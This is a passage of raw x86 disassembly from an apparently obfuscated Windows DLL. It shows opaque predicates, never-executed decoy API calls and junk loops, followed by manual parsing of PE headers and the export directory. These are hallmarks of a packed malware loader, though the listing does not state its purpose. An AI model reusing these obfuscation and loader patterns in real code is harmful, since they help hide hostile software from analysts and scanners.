jmp 0x1004aa6c
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
sub eax, dword [ebp - 0x50]
cmp eax, 3
je 0x1004aa86
mov dword [ebp - 0x584], 1
jmp 0x1004aa8d
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x584]
jle 0x1004aaa4
mov dword [ebp - 0x58c], 1
jmp 0x1004aaab
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0
je 0x1004aad0
xor eax, eax
je 0x1004aad0
mov dword [ebp - 0x59c], 1
jmp 0x1004aad7
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x59c]
je 0x1004aaee
mov dword [ebp - 0x5a4], 1
jmp 0x1004aaf5
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x5a4]
jne 0x1004ab0c
mov dword [ebp - 0x5ac], 1
jmp 0x1004ab13
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x5ac], eax
jl 0x1004ab23
xor eax, eax
inc eax
jne 0x1004ab35
mov eax, 0x2e580997
test eax, eax
jne 0x1004ab35
and dword [ebp - 0x5b4], 0
jmp 0x1004ab3f
mov dword [ebp - 0x5b4], 1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x5b4], eax
jle 0x1004ab56
mov dword [ebp - 0x5bc], 1
jmp 0x1004ab5d
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0xb00]
cmp dword [ebp - 0x5bc], eax
je 0x1004ab7a
cmp dword [ebp - 0x50], 0
jne 0x1004ab7a
and dword [ebp - 0x5c4], 0
jmp 0x1004ab84
mov dword [ebp - 0x5c4], 1
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0xba0], eax
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x1004abaa
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
mov eax, dword [0x109271f0]
cmp eax, dword [ebp - 0x2ac]
je 0x1004abc4
mov eax, dword [0x109273ac]
cmp eax, dword [ebp - 0x2ac]
jne 0x1004abdc
mov ecx, dword [ebp + 0xc]
call fcn.10017622
push eax
push dword [ebp + 8]
call fcn.10040659
pop ecx
pop ecx
jmp 0x1004d9b1
mov dword [ebp - 0xd4c], 0xf99ff606
mov dword [ebp - 0xd48], 0xf99ff606
mov dword [ebp - 0xd44], 0xf99ff606
mov dword [ebp - 0xd40], 0xf99ff606
lea ecx, [ebp - 0x3c1]
call fcn.10017a09
push eax
lea eax, [ebp - 0xd3c]
push eax
lea eax, [ebp - 0xd4c]
push eax
lea ecx, [ebp - 0x104c]
call fcn.10017a0c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa38]
call fcn.100179b8
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x64], 0xcd795364
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x5dc], 0x1bd43d9c
mov dword [ebp - 0x5fc], 0x495ee35d
mov dword [ebp - 0x64], 3
jmp 0x1004ac75
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x1004af53
mov dword [ebp - 0x5cc], 0x1b713623
mov dword [ebp - 0xb08], 0xffffffff
mov dword [ebp - 0x188], 0x2891ba
push 1
lea ecx, [ebp - 0xd70]
call fcn.1001795c
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x300], 0
jmp 0x1004acc7
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 1
jge 0x1004ace9
push dword [ebp - 0x300]
lea ecx, [ebp - 0xd70]
call fcn.100179fa
mov dword [eax], 0xe018ebdb
jmp 0x1004acba
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x1004ad07
push 1
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 2
lea ecx, [ebp - 0xa38]
call fcn.100179fa
push 1
lea ecx, [ebp - 0xa38]
call fcn.100179fa
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa38]
call fcn.100179fa
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0xec0], eax
mov esi, dword [ebp - 0x64]
push 8
pop edi
sub edi, 0xde4b
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa38]
call fcn.100179fa
imul edi, dword [eax]
imul edi, esi
mov dword [ebp - 0xb08], edi
mov esi, dword [ebp - 0x188]
mov edi, dword [ebp - 0x5cc]
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa38]
call fcn.100179fa
imul edi, dword [eax]
cmp edi, esi
jle 0x1004ad8e
mov dword [ebp - 0x5d4], 1
jmp 0x1004ad95
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
inc eax
cmp eax, 0xf2f34e40
jne 0x1004adaf
mov dword [ebp - 0x3b0], 1
jmp 0x1004adb6
and dword [ebp - 0x3b0], 0
push 0
lea ecx, [ebp - 0xd70]
call fcn.100179fa
mov ecx, dword [ebp - 0x3b0]
mov dword [eax], ecx
cmp dword [ebp - 0x3b0], 0
je 0x1004ae1f
mov byte [ebp - 0x130], 0
movzx eax, byte [ebp - 0x130]
test eax, eax
je 0x1004adf1
push 0x1930
call dword [sym.imp.USER32.dll_IsIconic]
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1004ae1a
push 0
push 0x1535
push 0xbc1
push 0x1377
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
jmp 0x1004af3f
mov dword [ebp - 0xb10], 1
mov dword [ebp - 0x188], 0
jmp 0x1004ae42
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 3
jg 0x1004af25
mov dword [ebp - 0x404], 0xc489
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0xd89e1771
jae 0x1004ae7d
mov dword [ebp - 0x5e4], 1
jmp 0x1004ae84
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x404], 0
jne 0x1004ae9f
cmp dword [ebp - 0x404], 0
jne 0x1004ae9f
cmp dword [ebp - 0x3b8], 0
je 0x1004aea5
cmp dword [ebp - 0x64], 0
jne 0x1004aeb7
cmp dword [ebp - 0x404], 0
jne 0x1004aeb7
and dword [ebp - 0x5ec], 0
jmp 0x1004aec1
mov dword [ebp - 0x5ec], 1
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x5ec]
jg 0x1004aedb
mov dword [ebp - 0x5f4], 1
jmp 0x1004aee2
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x64]
jne 0x1004af05
mov dword [ebp - 0xc08], 1
jmp 0x1004af0c
and dword [ebp - 0xc08], 0
or eax, 0xffffffff
add eax, 0xfffa
add eax, dword [ebp - 0x3b8]
mov dword [ebp - 0xb10], eax
jmp 0x1004ae35
mov byte [ebp - 0xf3], 0
movzx eax, byte [ebp - 0xf3]
test eax, eax
je 0x1004af3f
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xd70]
call fcn.100179de
jmp 0x1004ac6e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa38]
call fcn.100179de
mov eax, dword [ebp + 8]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x65c], 0x5330
mov dword [ebp - 0xb28], 0x10008dc0
cmp dword [ebp - 0x65c], 0x56aa
jle 0x1004b06c
and dword [ebp - 0x340], 0
jmp 0x1004afa5
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x4199
jge 0x1004b06c
and dword [ebp - 0x310], 0
jmp 0x1004afcb
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x4fe2
jge 0x1004b067
and dword [ebp - 0x358], 0
jmp 0x1004aff1
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x47f9
jge 0x1004b062
and dword [ebp - 0x308], 0
jmp 0x1004b013
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x1f8f
jge 0x1004b060
mov eax, dword [ebp - 0x358]
cdq
idiv dword [ebp - 0x308]
mov eax, dword [ebp - 0x340]
imul eax, dword [ebp - 0x310]
xor eax, edx
cdq
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0xacc], edx
push dword [ebp - 0xacc]
push dword [ebp - 0xad0]
mov ecx, 0x10618818
call fcn.10017642
jmp 0x1004b006
jmp 0x1004afe4
jmp 0x1004afbe
jmp 0x1004af98
push 1
lea ecx, [ebp - 0x9f0]
call fcn.1001795c
mov dword [ebp - 4], 0x28
mov dword [ebp - 0xb18], 1
push 3
lea ecx, [ebp - 0x9ac]
call fcn.1001795c
mov byte [ebp - 4], 0x29
mov dword [ebp - 0xc54], 7
mov dword [ebp - 0xc50], 7
mov dword [ebp - 0xc4c], 7
mov dword [ebp - 0xc48], 7
mov dword [ebp - 0x62c], 8
mov dword [ebp - 0x3c], 0
jmp 0x1004b0dd
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x1004b0f9
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x9f0]
call fcn.100179fa
mov dword [eax], 0x48bbca63
jmp 0x1004b0d6
mov dword [ebp - 0x3c], 0
jmp 0x1004b109
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1004b125
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
mov dword [eax], 0xa18e418a
jmp 0x1004b102
mov dword [ebp - 0x3c], 0
jmp 0x1004b135
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1004b14b
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xf40], 0xcc7c44d9
jmp 0x1004b12e
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x1004b165
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0
lea ecx, [ebp - 0x9f0]
call fcn.100179fa
mov dword [eax], 7
jmp 0x1004b19e
push 0
lea ecx, [ebp - 0x9f0]
call fcn.100179fa
mov dword [ebp - 0x604], eax
mov eax, dword [ebp - 0x604]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x604]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x9f0]
call fcn.100179fa
cmp dword [eax], 0xfffffffb
jle 0x1004b466
mov dword [ebp - 0xc40], 0
mov dword [ebp - 0xe10], 0x32f3f608
mov dword [ebp - 0xf04], 0xffffffff
mov dword [ebp - 0xbb0], 1
mov dword [ebp - 0xba8], 5
mov dword [ebp - 0xb20], 0x5269
mov dword [ebp - 0x30], 0
jmp 0x1004b200
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1004b216
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1030], 0x7c10977a
jmp 0x1004b1f9
mov dword [ebp - 0x30], 0
jmp 0x1004b226
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1004b23c
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x10f0], 1
jmp 0x1004b21f
mov dword [ebp - 0x30], 0
jmp 0x1004b24c
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x1004b262
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1074], 1
jmp 0x1004b245
push 2
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
cmp dword [eax], 0
je 0x1004b2ff
cmp dword [ebp - 0xba8], 0xffffffff
jne 0x1004b28d
mov dword [ebp - 0x60c], 1
jmp 0x1004b294
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
inc eax
cmp dword [ebp - 0xb18], eax
jle 0x1004b2af
mov dword [ebp - 0x614], 1
jmp 0x1004b2b6
and dword [ebp - 0x614], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc54]
cmp dword [ebp - 0x614], eax
jne 0x1004b2d7
mov dword [ebp - 0x61c], 1
jmp 0x1004b2de
and dword [ebp - 0x61c], 0
cmp dword [ebp - 0x61c], 0xffff
jne 0x1004b2ff
cmp dword [ebp - 0xc40], 0
je 0x1004b2ff
mov dword [ebp - 0x624], 1
jmp 0x1004b306
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0xe18], eax
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0xfb8], eax
push 0
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xc54]
add ecx, dword [ebp + eax - 0x1074]
imul ecx, dword [ebp - 0xbb0]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc54], ecx
jl 0x1004b373
mov dword [ebp - 0x63c], 1
jmp 0x1004b37a
and dword [ebp - 0x63c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf40]
inc eax
mov dword [ebp - 0x634], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x634]
mov dword [ebp + eax - 0xf40], ecx
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x1030]
push 2
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
mov ecx, dword [ebp - 0x634]
sub ecx, dword [eax]
sub ecx, dword [ebp - 0x63c]
cmp ecx, esi
jle 0x1004b3d9
mov dword [ebp - 0x644], 1
jmp 0x1004b3e0
and dword [ebp - 0x644], 0
push 2
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
mov esi, dword [ebp - 0x644]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
cmp esi, dword [eax]
jg 0x1004b412
mov dword [ebp - 0x64c], 1
jmp 0x1004b419
and dword [ebp - 0x64c], 0
push 0
lea ecx, [ebp - 0x9f0]
call fcn.100179fa
mov ecx, dword [ebp - 0x64c]
cmp ecx, dword [eax]
jg 0x1004b445
mov eax, 0x2cfb1158
test eax, eax
je 0x1004b445
mov dword [ebp - 0x654], 1
jmp 0x1004b44c
and dword [ebp - 0x654], 0
push 2
lea ecx, [ebp - 0x9ac]
call fcn.100179fa
mov ecx, dword [ebp - 0x654]
mov dword [eax], ecx
jmp 0x1004b17a
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x9ac]
call fcn.100179de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9f0]
call fcn.100179de
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x65c], 0x531d
jge 0x1004b4a7
mov edx, dword [ebp - 0xb28]
mov ecx, 0x10618818
call fcn.1001a339
jmp 0x1004b4c3
or dword [ebp - 4], 0xffffffff
jmp 0x1004b4cd
cmp dword [ebp - 0x348], 0
je 0x1004d8ce
mov eax, dword [ebp - 0x348]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1004d8ce
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x54], 0xfffffffa
push 1
lea ecx, [ebp - 0xcc4]
call fcn.1001795c
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x148], 0x30688cdf
mov dword [ebp - 0x164], 0
mov dword [ebp - 0xcdc], 0
mov dword [ebp - 0xcd8], 0
mov dword [ebp - 0xcd4], 0
mov dword [ebp - 0xcd0], 0
mov dword [ebp - 0x7c], 0
jmp 0x1004b55c
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1004b572
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x318], 0xf7d1649b
jmp 0x1004b555
mov dword [ebp - 0x7c], 0
jmp 0x1004b582
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x1004b59b
push dword [ebp - 0x7c]
lea ecx, [ebp - 0xcc4]
call fcn.100179fa
or dword [eax], 0xffffffff
jmp 0x1004b57b
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x664], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x664]
mov dword [ebp + eax - 0x318], ecx
cmp dword [ebp - 0x664], 0
je 0x1004b5da
or eax, 0xffffffff
je 0x1004b5da
mov dword [ebp - 0x66c], 1
jmp 0x1004b5e1
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x66c], eax
je 0x1004b608
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x318], 0
je 0x1004b608
mov dword [ebp - 0x674], 1
jmp 0x1004b60f
and dword [ebp - 0x674], 0
cmp dword [ebp - 0x674], 1
ja 0x1004b624
mov dword [ebp - 0x67c], 1
jmp 0x1004b62b
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0xc8d46758
jne 0x1004b643
mov dword [ebp - 0xc10], 1
jmp 0x1004b64a
and dword [ebp - 0xc10], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xf14], eax
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x68]
jge 0x1004b667
mov dword [ebp - 0x684], 1
jmp 0x1004b66e
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0x684]
add eax, 0x7f03
mov dword [ebp - 0xb30], eax
push 0
lea ecx, [ebp - 0xcc4]
call fcn.100179fa
mov ecx, dword [ebp - 0xb30]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xf94], eax
mov dword [ebp - 0x148], 0xfffc
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x68c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x68c]
mov dword [ebp + eax - 0xcdc], ecx
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x68c], eax
jl 0x1004b6ef
mov dword [ebp - 0x694], 1
jmp 0x1004b6f6
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x694], eax
jge 0x1004b711
xor eax, eax
je 0x1004b711
mov dword [ebp - 0x69c], 1
jmp 0x1004b718
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x69c]
cmp eax, 0xffff
ja 0x1004b734
mov dword [ebp - 0x6a4], 1
jmp 0x1004b73b
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x6a4]
jne 0x1004b752
mov dword [ebp - 0x6ac], 1
jmp 0x1004b759
and dword [ebp - 0x6ac], 0
cmp dword [ebp - 0x6ac], 0x14b7
jne 0x1004b771
mov dword [ebp - 0x6b4], 1
jmp 0x1004b778
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x6b4]
sub eax, 0x52b8615c
cmp eax, dword [ebp - 0x68]
je 0x1004b794
mov dword [ebp - 0x6bc], 1
jmp 0x1004b79b
and dword [ebp - 0x6bc], 0
cmp dword [ebp - 0x6bc], 0
jbe 0x1004b7b0
mov dword [ebp - 0x6c4], 1
jmp 0x1004b7b7
and dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0xffffffff
jle 0x1004b7cc
mov dword [ebp - 0x6cc], 1
jmp 0x1004b7d3
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x54], 0
jmp 0x1004b7ec
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x37
jle 0x1004bbec
mov dword [ebp - 0x6f4], 0x9a26
mov dword [ebp - 0xbb8], 0x1cd0
cmp dword [ebp - 0xbb8], 0x9df
jge 0x1004b96d
mov dword [ebp - 0x3ec], 1
push 0x10927000
push 0x10007e48
call fcn.10057cab
pop ecx
pop ecx
mov eax, dword [0x10927000]
mov dword [ebp - 0xb38], eax
mov eax, dword [0x10927000]
dec eax
mov dword [0x10927000], eax
cmp dword [ebp - 0xb38], 0
je 0x1004b96d
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
push dword [ebp - 0xbf8]
push 0x10008e60
call fcn.10058109
pop ecx
pop ecx
push 0x10926d7c
push 0x10007e48
call fcn.10057cab
pop ecx
pop ecx
and dword [ebp - 0x368], 0
jmp 0x1004b8aa
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0x368]
cmp eax, dword [0x10926d7c]
jge 0x1004b8d4
mov eax, dword [ebp - 0x368]
lea eax, [eax*4 + 0x10927008]
push eax
push 0x10007e48
call fcn.10057cab
pop ecx
pop ecx
jmp 0x1004b89d
mov eax, dword [0x10926d7c]
lea edx, [eax*4 + 0x10927008]
mov ecx, 0x10927008
call fcn.1003b46e
mov dword [ebp - 0x3c0], 1
and dword [ebp - 0x18c], 0
jmp 0x1004b90a
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
cmp eax, dword [0x10926d7c]
jge 0x1004b956
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax*4 + 0x10927008]
sub eax, dword [ebp - 0x18c]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x3c0]
cdq
push esi
push ecx
push edx
push eax
call fcn.1005bfc0
push 0
push 0x3b9aca07
push edx
push eax
call fcn.10070260
mov dword [ebp - 0x3c0], eax
jmp 0x1004b8fd
push dword [ebp - 0x3c0]
push 0x100080d8
call fcn.10058109
pop ecx
pop ecx
jmp 0x1004b835
mov dword [ebp - 0x150], 0xfd77138b
mov dword [ebp - 0xb40], 0x1b6befc5
mov dword [ebp - 0x164], 3
jmp 0x1004b99a
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jl 0x1004b9c1
mov eax, dword [ebp - 0x164]
mov esi, dword [ebp + eax*4 - 0xcdc]
push 0
lea ecx, [ebp - 0xcc4]
call fcn.100179fa
mov dword [eax], esi
jmp 0x1004b98d
mov dword [ebp - 0x148], 6
jmp 0x1004b9da
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x10
jg 0x1004bbe7
mov dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xe30], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x318], 0x8a61
jg 0x1004ba1c
mov dword [ebp - 0x6d4], 1
jmp 0x1004ba23
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x54]
jle 0x1004ba40
mov dword [ebp - 0x6dc], 1
jmp 0x1004ba47
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0x52f52174
jg 0x1004ba5f
mov dword [ebp - 0x6e4], 1
jmp 0x1004ba66
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
sub eax, dword [ebp - 0x11c]
jne 0x1004ba80
mov dword [ebp - 0x6ec], 1
jmp 0x1004ba87
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x6f4]
cmp dword [ebp - 0x6ec], eax
jl 0x1004baa1
mov dword [ebp - 0x6fc], 1
jmp 0x1004baa8
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6f4]
cmp eax, dword [ebp - 0x6fc]
jne 0x1004bacf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x318], 0
jne 0x1004bacf
and dword [ebp - 0x704], 0
jmp 0x1004bad9
mov dword [ebp - 0x704], 1
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jne 0x1004bafa
mov dword [ebp - 0x70c], 1
jmp 0x1004bb01
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x70c]
je 0x1004bb22
cmp dword [ebp - 0xb40], 0
je 0x1004bb1d
jmp 0x1004bbe7
jmp 0x1004bbc8
mov dword [ebp - 0x150], 0
jmp 0x1004bb3b
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x3a
je 0x1004bbc8
mov dword [ebp - 0xe04], 0x790eb5cf
mov dword [ebp - 0xe00], 0x790eb5cf
mov dword [ebp - 0xdfc], 0x790eb5cf
mov dword [ebp - 0xdf8], 0x790eb5cf
mov dword [ebp - 0x11c], 0xfffffff6
jmp 0x1004bb89
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 2
jl 0x1004bbae
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1004bbac
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x1004bb7c
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xe04], 0
je 0x1004bbc3
jmp 0x1004bb2e
jmp 0x1004bb2e
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x1004bbe2
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1004b9cd
jmp 0x1004b7e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc4]
call fcn.100179de
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x348]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1b4], ecx
mov eax, dword [ebp - 0x1b4]
cmp dword [eax], 0x4550
jne 0x1004d8ce
mov eax, dword [ebp - 0x1b4]
cmp dword [eax + 0x74], 0
jbe 0x1004d8ce
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b4]
cmp dword [ecx + eax + 0x78], 0
je 0x1004d8ce
mov eax, dword [ebp + 8]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x158], 1
mov dword [ebp - 0x80], 0xceafd94f
mov dword [ebp - 0x3c8], 0x7865e1b
mov dword [ebp - 0xbc0], 0xbd76df3e
mov dword [ebp - 0xd10], 0xfffffff7
mov dword [ebp - 0xd0c], 0xfffffff7
mov dword [ebp - 0xd08], 0xfffffff7
mov dword [ebp - 0xd04], 0xfffffff7
lea ecx, [ebp - 0x3b1]
call fcn.10017a09
push eax
lea eax, [ebp - 0xd00]
push eax
lea eax, [ebp - 0xd10]
push eax
lea ecx, [ebp - 0x1094]
call fcn.10017a0c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf50]
call fcn.100179b8
mov dword [ebp - 4], 0x2d
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xf24], eax
mov dword [ebp - 0x80], 0xf506
cmp dword [ebp - 0x80], 0
jne 0x1004bdc4
cmp dword [ebp - 0x80], 0xffffffff
jge 0x1004bd0a
mov dword [ebp - 0x714], 1
jmp 0x1004bd11
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x714], eax
jge 0x1004bd28
mov dword [ebp - 0x71c], 1
jmp 0x1004bd2f
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0x71c]
sub eax, 0x7dd34c5d
cmp eax, 0xfffffff6
jle 0x1004bd4b
mov dword [ebp - 0x724], 1
jmp 0x1004bd52
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x724], eax
je 0x1004bd6c
mov dword [ebp - 0x72c], 1
jmp 0x1004bd73
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x72c]
jne 0x1004bd8a
mov dword [ebp - 0x734], 1
jmp 0x1004bd91
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x734], eax
jge 0x1004bda8
mov dword [ebp - 0x73c], 1
jmp 0x1004bdaf
and dword [ebp - 0x73c], 0
cmp dword [ebp - 0x73c], 0xed45b0e8
jae 0x1004bdc4
and dword [ebp - 0x744], 0
jmp 0x1004bdce
mov dword [ebp - 0x744], 1
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x744]
je 0x1004bdff
mov byte [ebp - 0x12e], 0
movzx eax, byte [ebp - 0x12e]
test eax, eax
je 0x1004bdfa
push 0
push 0
push 0
